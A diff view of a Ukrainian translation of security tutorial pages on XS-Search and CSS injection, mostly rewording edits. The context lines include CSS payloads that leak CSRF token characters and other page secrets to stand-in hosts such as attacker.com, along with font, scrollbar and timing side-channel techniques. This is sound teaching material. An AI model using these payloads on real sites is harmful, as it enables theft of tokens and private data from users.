- [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) - [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf)
- [https://xsleaks.dev/](https://xsleaks.dev) - [https://xsleaks.dev/](https://xsleaks.dev)

View File

@ -15,11 +15,11 @@
Отже, щоб вкрасти прапор, рішення, запропоноване @Strellyc\_, полягає в тому, щоб, **для кожного символу для тестування** змусити бота: Отже, щоб вкрасти прапор, рішення, запропоноване @Strellyc\_, полягає в тому, щоб, **для кожного символу для тестування** змусити бота:
- Створити **новий пост**, який **починається** з відомої частини **прапора** і кількох **img** **завантажень**. - Створити **новий пост**, який **починається** з відомої частини **прапора** та кількох **img** **завантажень**.
- **Видалити** **пост** на позиції **0**. - **Видалити** **пост** на позиції **0**.
- Блокувати 255 сокетів. - Блокувати 255 сокетів.
- Завантажити сторінку з постами. - Завантажити сторінку з постами.
- Виконати 5 випадкових запитів до сайту (в цьому випадку example.com) і виміряти час, який це займає. - Виконати 5 випадкових запитів до сайту (в даному випадку example.com) і виміряти час, який це займає.
> [!WARNING] > [!WARNING]
> Якщо **видалений** пост був **прапором**, це означає, що всі **зображення**, **впроваджені** в HTML, будуть **конкурувати** з **5 випадковими запитами** за цим **неблокованим** сокетом. Це означає, що виміряний час буде більшим, ніж в іншому сценарії. > Якщо **видалений** пост був **прапором**, це означає, що всі **зображення**, **впроваджені** в HTML, будуть **конкурувати** з **5 випадковими запитами** за цим **неблокованим** сокетом. Це означає, що виміряний час буде більшим, ніж в іншому сценарії.

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Наступний **скрипт**, взятий з [**тут**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), експлуатує функціональність, яка дозволяє користувачу **вставляти будь-яку кількість куків**, а потім завантажує файл як скрипт, знаючи, що справжня відповідь буде більшою, ніж хибна, і тоді. Якщо успішно, відповідь є перенаправленням з результатуючим URL, який довший, **занадто великий для обробки сервером, тому повертає код статусу помилки http**. Якщо пошук не вдається, нічого не станеться, оскільки URL короткий. Наступний **скрипт**, взятий з [**тут**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), експлуатує функціональність, яка дозволяє користувачу **вставляти будь-яку кількість куків**, а потім завантажує файл як скрипт, знаючи, що справжня відповідь буде більшою, ніж хибна, і потім. Якщо успішно, відповідь є перенаправленням з URL, що в результаті довший, **занадто великий для обробки сервером, тому повертає код статусу помилки http**. Якщо пошук не вдається, нічого не станеться, оскільки URL короткий.
```html ```html
<>'"; <>'";
<form action="https://sustenance.web.actf.co/s" method="POST"> <form action="https://sustenance.web.actf.co/s" method="POST">

View File

@ -23,7 +23,7 @@ background-image: url(https://attacker.com/exfil/9);
#### Обхід для прихованих елементів #### Обхід для прихованих елементів
Щоб обійти це обмеження, ви можете націлитися на наступний елемент-сibling, використовуючи комбінацію загального sibling `~`. Правило CSS тоді застосовується до всіх sibling, що йдуть після елемента прихованого введення, що призводить до завантаження фонової картинки: Щоб обійти це обмеження, ви можете націлитися на наступний елемент-сibling, використовуючи комбінацію загального sibling `~`. Правило CSS тоді застосовується до всіх sibling, що йдуть після елемента прихованого введення, змушуючи фонове зображення завантажуватися:
```css ```css
input[name="csrf"][value^="csrF"] ~ * { input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF); background-image: url(https://attacker.com/exfil/csrF);
@ -35,13 +35,13 @@ background-image: url(https://attacker.com/exfil/csrF);
Щоб техніка CSS Injection була ефективною, повинні бути виконані певні умови: Щоб техніка CSS Injection була ефективною, повинні бути виконані певні умови:
1. **Довжина Payload**: Вектор CSS-ін'єкції повинен підтримувати достатньо довгі payload для розміщення створених селекторів. 1. **Довжина Payload**: Вектор CSS injection повинен підтримувати достатньо довгі payload для розміщення створених селекторів.
2. **Повторна оцінка CSS**: Ви повинні мати можливість оформити сторінку, що необхідно для виклику повторної оцінки CSS з новоствореними payload. 2. **Повторна оцінка CSS**: Ви повинні мати можливість оформити сторінку, що необхідно для виклику повторної оцінки CSS з новоствореними payload.
3. **Зовнішні ресурси**: Техніка передбачає можливість використання зовнішньо розміщених зображень. Це може бути обмежено політикою безпеки контенту (CSP) сайту. 3. **Зовнішні ресурси**: Техніка передбачає можливість використання зовнішньо розміщених зображень. Це може бути обмежено політикою безпеки контенту (CSP) сайту.
### Сліпий селектор атрибутів ### Сліпий селектор атрибутів
Як [**пояснено в цьому пості**](https://portswigger.net/research/blind-css-exfiltration), можливо поєднати селектори **`:has`** і **`:not`**, щоб ідентифікувати контент навіть з сліпих елементів. Це дуже корисно, коли ви не знаєте, що всередині веб-сторінки, що завантажує CSS-ін'єкцію.\ Як [**пояснено в цьому пості**](https://portswigger.net/research/blind-css-exfiltration), можливо поєднати селектори **`:has`** і **`:not`**, щоб ідентифікувати контент навіть з сліпих елементів. Це дуже корисно, коли ви не знаєте, що всередині веб-сторінки, що завантажує CSS injection.\
Також можливо використовувати ці селектори для витягування інформації з кількох блоків одного типу, як у: Також можливо використовувати ці селектори для витягування інформації з кількох блоків одного типу, як у:
```html ```html
<style> <style>
@ -62,16 +62,16 @@ background: url(/m);
Це вперше показав [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) і це працює так: Це вперше показав [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) і це працює так:
Замість того, щоб завантажувати одну й ту ж сторінку знову і знову з десятками різних payload'ів щоразу (як у попередньому випадку), ми будемо **завантажувати сторінку лише один раз і лише з імпортом на сервер зловмисника** (це payload, який потрібно надіслати жертві): Замість того, щоб завантажувати одну й ту ж сторінку знову і знову з десятками різних корисних навантажень щоразу (як у попередньому випадку), ми будемо **завантажувати сторінку лише один раз і лише з імпортом на сервер зловмисника** (це корисне навантаження, яке потрібно надіслати жертві):
```css ```css
@import url("//attacker.com:5001/start?"); @import url("//attacker.com:5001/start?");
``` ```
1. Імпорт буде **отримувати деякий CSS скрипт** від атакуючих, і **браузер його завантажить**. 1. Імпорт буде **отримувати деякий CSS скрипт** від атакуючих, і **браузер його завантажить**.
2. Перша частина CSS скрипту, яку надішле атакуючий, буде **іншим `@import` на сервер атакуючих знову.** 2. Перша частина CSS скрипту, яку надішле атакуючий, буде **іншим `@import` до сервера атакуючого знову.**
1. Сервер атакуючих поки що не відповість на цей запит, оскільки ми хочемо витікати деякі символи, а потім відповісти на цей імпорт з корисним навантаженням, щоб витікати наступні. 1. Сервер атакуючого поки що не відповість на цей запит, оскільки ми хочемо витікати деякі символи, а потім відповісти на цей імпорт з корисним навантаженням, щоб витікати наступні.
3. Друга і більша частина корисного навантаження буде **корисним навантаженням для витоку селектора атрибутів** 3. Друга і більша частина корисного навантаження буде **корисним навантаженням для витоку селектора атрибутів**
1. Це надішле на сервер атакуючих **перший символ секрету та останній.** 1. Це надішле на сервер атакуючого **перший символ секрету і останній.**
4. Як тільки сервер атакуючих отримає **перший і останній символ секрету**, він **відповість на імпорт, запитаний на етапі 2**. 4. Як тільки сервер атакуючого отримає **перший і останній символ секрету**, він **відповість на імпорт, запитаний на етапі 2**.
1. Відповідь буде точно такою ж, як **на етапах 2, 3 і 4**, але цього разу вона спробує **знайти другий символ секрету, а потім передостанній**. 1. Відповідь буде точно такою ж, як **на етапах 2, 3 і 4**, але цього разу вона спробує **знайти другий символ секрету, а потім передостанній**.
Атакуючий **продовжить цей цикл, поки не зможе повністю витікати секрет**. Атакуючий **продовжить цей цикл, поки не зможе повністю витікати секрет**.
@ -79,7 +79,7 @@ background: url(/m);
Ви можете знайти оригінальний [**код Пепе Віли для експлуатації цього тут**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) або ви можете знайти майже [**той же код, але з коментарями тут**.](./#css-injection) Ви можете знайти оригінальний [**код Пепе Віли для експлуатації цього тут**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) або ви можете знайти майже [**той же код, але з коментарями тут**.](./#css-injection)
> [!NOTE] > [!NOTE]
> Скрипт намагатиметься виявити 2 символи щоразу (з початку і з кінця), оскільки селектор атрибутів дозволяє робити такі речі, як: > Скрипт намагатиметься виявити 2 символи щоразу (з початку і з кінця), оскільки селектор атрибутів дозволяє робити такі речі:
> >
> ```css > ```css
> /* value^= для відповідності початку значення*/ > /* value^= для відповідності початку значення*/
@ -114,7 +114,7 @@ background-image: url("YOUR_SERVER_URL?1");
### Помилково базований XS-Search ### Помилково базований XS-Search
**Посилання:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234) **Посилання:** [CSS на основі атаки: Зловживання unicode-range @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC від @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Загальна мета полягає в тому, щоб **використовувати користувальницький шрифт з контрольованої точки доступу** і забезпечити, щоб **текст (в даному випадку, 'A') відображався цим шрифтом лише в тому випадку, якщо вказаний ресурс (`favicon.ico`) не може бути завантажений**. Загальна мета полягає в тому, щоб **використовувати користувальницький шрифт з контрольованої точки доступу** і забезпечити, щоб **текст (в даному випадку, 'A') відображався цим шрифтом лише в тому випадку, якщо вказаний ресурс (`favicon.ico`) не може бути завантажений**.
```html ```html
@ -154,7 +154,7 @@ font-family: "poc";
Псевдоклас **`:target`** використовується для вибору елемента, на який націлений **фрагмент URL**, як зазначено в [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Важливо розуміти, що `::target-text` не відповідає жодним елементам, якщо текст не націлений явно фрагментом. Псевдоклас **`:target`** використовується для вибору елемента, на який націлений **фрагмент URL**, як зазначено в [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Важливо розуміти, що `::target-text` не відповідає жодним елементам, якщо текст не націлений явно фрагментом.
Проблема безпеки виникає, коли зловмисники експлуатують функцію **Scroll-to-text** фрагмента, що дозволяє їм підтвердити наявність конкретного тексту на веб-сторінці, завантажуючи ресурс з їх сервера через HTML-ін'єкцію. Метод включає в себе ін'єкцію CSS правила, як це: Проблема безпеки виникає, коли зловмисники експлуатують функцію **Scroll-to-text** фрагмента, що дозволяє їм підтверджувати наявність конкретного тексту на веб-сторінці, завантажуючи ресурс з їх сервера через HTML-ін'єкцію. Метод полягає в ін'єкції CSS правила, як це:
```css ```css
:target::before { :target::before {
content: url(target.png); content: url(target.png);
@ -164,13 +164,13 @@ content: url(target.png);
``` ```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
``` ```
Тут атака маніпулює HTML-ін'єкцією для передачі CSS-коду, націлюючись на конкретний текст "Administrator" через фрагмент Scroll-to-text (`#:~:text=Administrator`). Якщо текст знайдено, вказаний ресурс завантажується, ненавмисно сигналізуючи про свою присутність атакуючому. Тут атака маніпулює HTML-ін'єкцією для передачі CSS-коду, намагаючись націлитися на конкретний текст "Administrator" через фрагмент Scroll-to-text (`#:~:text=Administrator`). Якщо текст знайдено, вказаний ресурс завантажується, ненавмисно сигналізуючи про свою присутність атакуючому.
Для пом'якшення ризиків слід звернути увагу на такі пункти: Для пом'якшення слід звернути увагу на такі пункти:
1. **Обмежене співвідношення STTF**: Фрагмент Scroll-to-text (STTF) призначений для співвідношення лише слів або речень, тим самим обмежуючи його здатність витікати випадкові секрети або токени. 1. **Обмежене співвідношення STTF**: Фрагмент Scroll-to-text (STTF) призначений для співвідношення лише слів або речень, тим самим обмежуючи його здатність витікати довільні секрети або токени.
2. **Обмеження до верхніх контекстів перегляду**: STTF працює лише в верхніх контекстах перегляду і не функціонує в iframe, що робить будь-яку спробу експлуатації більш помітною для користувача. 2. **Обмеження до верхнього рівня контекстів перегляду**: STTF працює лише в контекстах верхнього рівня перегляду і не функціонує в iframe, що робить будь-яку спробу експлуатації більш помітною для користувача.
3. **Необхідність активації користувача**: STTF вимагає жесту активації користувача для роботи, що означає, що експлуатації можливі лише через ініційовану користувачем навігацію. Ця вимога значно зменшує ризик автоматизації атак без взаємодії з користувачем. Проте автор блогу вказує на специфічні умови та обходи (наприклад, соціальна інженерія, взаємодія з поширеними розширеннями браузера), які можуть полегшити автоматизацію атаки. 3. **Необхідність активації користувачем**: STTF вимагає жесту активації користувача для роботи, що означає, що експлуатації можливі лише через ініційовану користувачем навігацію. Ця вимога значно зменшує ризик автоматизації атак без взаємодії з користувачем. Проте автор блогу вказує на специфічні умови та обходи (наприклад, соціальна інженерія, взаємодія з поширеними розширеннями браузера), які можуть полегшити автоматизацію атаки.
Обізнаність про ці механізми та потенційні вразливості є ключовою для підтримки веб-безпеки та захисту від таких експлуатаційних тактик. Обізнаність про ці механізми та потенційні вразливості є ключовою для підтримки веб-безпеки та захисту від таких експлуатаційних тактик.
@ -212,19 +212,19 @@ htm
**Посилання:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) **Посилання:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Описана техніка передбачає витягування тексту з вузла шляхом використання шрифтів-лігатур і моніторингу змін ширини. Процес складається з кількох етапів: Описана техніка передбачає витягування тексту з вузла шляхом використання шрифтних лігатур і моніторингу змін у ширині. Процес складається з кількох етапів:
1. **Створення кастомних шрифтів**: 1. **Створення кастомних шрифтів**:
- SVG шрифти створюються з гліфами, які мають атрибут `horiz-adv-x`, що встановлює велику ширину для гліфа, що представляє двосимвольну послідовність. - SVG шрифти створюються з гліфами, які мають атрибут `horiz-adv-x`, що задає велику ширину для гліфа, що представляє двосимвольну послідовність.
- Приклад SVG гліфа: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, де "XY" позначає двосимвольну послідовність. - Приклад SVG гліфа: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, де "XY" позначає двосимвольну послідовність.
- Ці шрифти потім конвертуються у формат woff за допомогою fontforge. - Ці шрифти потім конвертуються у формат woff за допомогою fontforge.
2. **Виявлення змін ширини**: 2. **Виявлення змін ширини**:
- CSS використовується для забезпечення того, щоб текст не переносився (`white-space: nowrap`) і для налаштування стилю смуги прокрутки. - CSS використовується для забезпечення того, щоб текст не переносився (`white-space: nowrap`) і для налаштування стилю смуги прокрутки.
- Поява горизонтальної смуги прокрутки, стилізованої особливим чином, слугує індикатором (оракулом) того, що певна лігатура, а отже, певна послідовність символів, присутня в тексті. - Поява горизонтальної смуги прокрутки, стилізованої особливим чином, слугує індикатором (оракулом) того, що певна лігатура, а отже, певна символьна послідовність, присутня в тексті.
- CSS, що використовується: - Залучений CSS:
```css ```css
body { body {
white-space: nowrap; white-space: nowrap;
@ -240,7 +240,7 @@ background: url(http://attacker.com/?leak);
3. **Процес експлуатації**: 3. **Процес експлуатації**:
- **Крок 1**: Створюються шрифти для пар символів з великою шириною. - **Крок 1**: Створюються шрифти для пар символів з великою шириною.
- **Крок 2**: Використовується трюк на основі смуги прокрутки для виявлення, коли великий гліф (лігатура для пари символів) відображається, що вказує на наявність послідовності символів. - **Крок 2**: Використовується трюк на основі смуги прокрутки для виявлення, коли великий гліф (лігатура для пари символів) відображається, що вказує на наявність символьної послідовності.
- **Крок 3**: Після виявлення лігатури генеруються нові гліфи, що представляють трисимвольні послідовності, включаючи виявлену пару та додаючи попередній або наступний символ. - **Крок 3**: Після виявлення лігатури генеруються нові гліфи, що представляють трисимвольні послідовності, включаючи виявлену пару та додаючи попередній або наступний символ.
- **Крок 4**: Виявлення трисимвольної лігатури здійснюється. - **Крок 4**: Виявлення трисимвольної лігатури здійснюється.
- **Крок 5**: Процес повторюється, поступово розкриваючи весь текст. - **Крок 5**: Процес повторюється, поступово розкриваючи весь текст.
@ -249,13 +249,13 @@ background: url(http://attacker.com/?leak);
- Поточний метод ініціалізації за допомогою `<meta refresh=...` не є оптимальним. - Поточний метод ініціалізації за допомогою `<meta refresh=...` не є оптимальним.
- Більш ефективний підхід може включати трюк з CSS `@import`, що підвищує продуктивність експлуатації. - Більш ефективний підхід може включати трюк з CSS `@import`, що підвищує продуктивність експлуатації.
### Витік текстового вузла (II): витік кодування з використанням стандартного шрифту (не вимагає зовнішніх ресурсів) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### Витік текстового вузла (II): витік кодування з використанням шрифту за замовчуванням (не вимагає зовнішніх ресурсів) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Посилання:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) **Посилання:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Цей трюк був опублікований у цій [**тематичній гілці Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Кодування, що використовується в текстовому вузлі, може бути витягнуто **за допомогою стандартних шрифтів**, встановлених у браузері: зовнішні - або кастомні - шрифти не потрібні. Цей трюк був опублікований у цій [**тематичній гілці Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Кодування, що використовується в текстовому вузлі, може бути витіковано **використовуючи шрифти за замовчуванням**, встановлені в браузері: зовнішні - або кастомні - шрифти не потрібні.
Концепція полягає у використанні анімації для поступового розширення ширини `div`, що дозволяє одному символу за раз переходити з частини тексту 'суфікс' до частини 'префікс'. Цей процес ефективно розділяє текст на дві частини: Концепція полягає у використанні анімації для поступового розширення ширини `div`, що дозволяє одному символу за раз переходити з частини тексту 'суфікс' до частини 'префікс'. Цей процес ефективно розділяє текст на дві секції:
1. **Префікс**: Початкова лінія. 1. **Префікс**: Початкова лінія.
2. **Суфікс**: Наступна лінія(ї). 2. **Суфікс**: Наступна лінія(ї).
@ -273,7 +273,7 @@ B
**CADB** **CADB**
Під час цього переходу використовується **трюк з unicode-range** для виявлення кожного нового символу, коли він приєднується до префікса. Це досягається шляхом зміни шрифту на Comic Sans, який помітно вищий за стандартний шрифт, внаслідок чого з'являється вертикальна смуга прокрутки. Поява цієї смуги прокрутки непрямо вказує на наявність нового символу в префіксі. Під час цього переходу використовується **трюк з unicode-range** для ідентифікації кожного нового символу, коли він приєднується до префікса. Це досягається шляхом зміни шрифту на Comic Sans, який помітно вищий за шрифт за замовчуванням, внаслідок чого з'являється вертикальна смуга прокрутки. Поява цієї смуги прокрутки непрямо вказує на наявність нового символу в префіксі.
Хоча цей метод дозволяє виявляти унікальні символи, коли вони з'являються, він не вказує, який символ повторюється, лише те, що відбулася повторення. Хоча цей метод дозволяє виявляти унікальні символи, коли вони з'являються, він не вказує, який символ повторюється, лише те, що відбулася повторення.
@ -706,13 +706,13 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak); background: blue var(--leak);
} }
``` ```
### Витік текстового вузла (III): витік набору символів за допомогою шрифту за замовчуванням, приховуючи елементи (не вимагає зовнішніх ресурсів) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### Витік текстового вузла (III): витік кодування з використанням шрифту за замовчуванням шляхом приховування елементів (не вимагає зовнішніх ресурсів) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Посилання:** Це згадується як [невдале рішення в цьому звіті](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **Посилання:** Це згадується як [невдале рішення в цьому звіті](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Цей випадок дуже схожий на попередній, однак у цьому випадку мета зробити конкретні **символи більшими за інші, щоб приховати щось** на кшталт кнопки, щоб її не натиснув бот, або зображення, яке не буде завантажено. Таким чином, ми могли б виміряти дію (або відсутність дії) і дізнатися, чи присутній конкретний символ у тексті. Цей випадок дуже схожий на попередній, однак у цьому випадку мета зробити конкретні **символи більшими за інші, щоб приховати щось** на кшталт кнопки, щоб її не натиснув бот, або зображення, яке не буде завантажено. Таким чином, ми могли б виміряти дію (або відсутність дії) і дізнатися, чи присутній конкретний символ у тексті.
### Витік текстового вузла (III): витік набору символів за допомогою таймінгу кешу (не вимагає зовнішніх ресурсів) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### Витік текстового вузла (III): витік кодування за допомогою таймінгу кешу (не вимагає зовнішніх ресурсів) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Посилання:** Це згадується як [невдале рішення в цьому звіті](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **Посилання:** Це згадується як [невдале рішення в цьому звіті](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
@ -747,7 +747,7 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete') WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30) time.sleep(30)
``` ```
Отже, якщо шрифт не збігається, час відповіді при відвідуванні бота очікується приблизно 30 секунд. Однак, якщо є збіг шрифтів, буде надіслано кілька запитів для отримання шрифту, що призведе до постійної активності в мережі. Як наслідок, знадобиться більше часу для задоволення умови зупинки та отримання відповіді. Тому час відповіді можна використовувати як індикатор для визначення, чи є збіг шрифтів. Отже, якщо шрифт не збігається, час відповіді при відвідуванні бота очікується приблизно 30 секунд. Однак, якщо є збіг шрифтів, буде надіслано кілька запитів для отримання шрифту, що призведе до постійної активності в мережі. Як наслідок, знадобиться більше часу, щоб задовольнити умову зупинки та отримати відповідь. Тому час відповіді можна використовувати як індикатор для визначення, чи є збіг шрифтів.
## References ## References

Some files were not shown because too many files have changed in this diff Show More